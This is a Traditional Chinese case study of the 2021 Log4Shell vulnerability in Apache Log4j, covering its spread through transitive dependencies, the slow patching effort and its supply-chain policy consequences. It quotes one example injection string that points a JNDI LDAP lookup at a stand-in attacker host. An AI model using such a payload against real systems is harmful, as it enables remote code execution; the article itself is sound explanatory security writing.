2021 年 12 月,Apache Log4j 中發現了一個嚴重的零日漏洞(CVE-2021-44228,暱稱「Log4Shell」)。Log4j 是一個廣泛使用的 Java 日誌函式庫,全球數百萬個應用程式與伺服器都在使用。該漏洞允許攻擊者透過傳送特製字串,在伺服器上執行任意程式碼——只要在登入欄位輸入「${jndi:ldap://attacker.com}」這樣簡單的字串即可。

這個漏洞之所以災情慘重,是因為 Log4j 被嵌入在極其廣泛的軟體之中:企業應用程式、雲端服務、遊戲伺服器(Minecraft)、物聯網裝置以及政府系統。許多組織甚至不知道自己正在執行 Log4j,因為它是深埋在軟體堆疊中的遞移相依套件。

Apache 軟體基金會發布了修補程式,但補救過程緩慢且複雜:各組織必須找出系統中每一個 Log4j 實例、逐一修補,並驗證修復是否有效。該漏洞在揭露後數小時內就遭到積極利用。此案例凸顯了現代軟體供應鏈的脆弱性:一個廣泛使用的開源函式庫中的單一漏洞,就能同時危害數百萬個系統。

Apache Log4j 的 Log4Shell 漏洞讓數百萬個系統處於風險之中,迫使全球展開修補行動,耗費數十億美元與數週的工作。

Log4j 以遞移相依套件的形式被嵌入數百萬個應用程式中,執行這些應用程式的組織往往並不知情。

該漏洞允許遠端程式碼執行,利用字串極其簡單。

補救之所以緩慢,是因為各組織必須在自身的技術堆疊中找出並修補每一個 Log4j 實例。

該漏洞在公開揭露後數小時內就遭到積極利用。

現代軟體堆疊是一層層相依套件堆起的塔,而大多數組織並不知道自己用了哪些。Log4j 無所不在。問題不是「我們是否受到影響?」,而是「我們能否先查出來?」

Apache 發布了修補程式,該 CVE 被評為 10.0 的嚴重性分數。此案例促使美國政府就軟體供應鏈安全發布行政命令,並加速了軟體物料清單(SBOM)的採用。Log4j 至今仍是供應鏈風險的參考案例。

追溯依據

參考來源

  1. Log4Shell — Wikipedia en.wikipedia.org
  2. Log4shell: US demands Christmas Eve deadline for hack fix — BBC News bbc.com
  3. The Log4J Vulnerability Will Haunt the Internet for Years — WIRED wired.com
  4. CISA — Apache Log4j Vulnerability Guidance (CVE-2021-44228) cisa.gov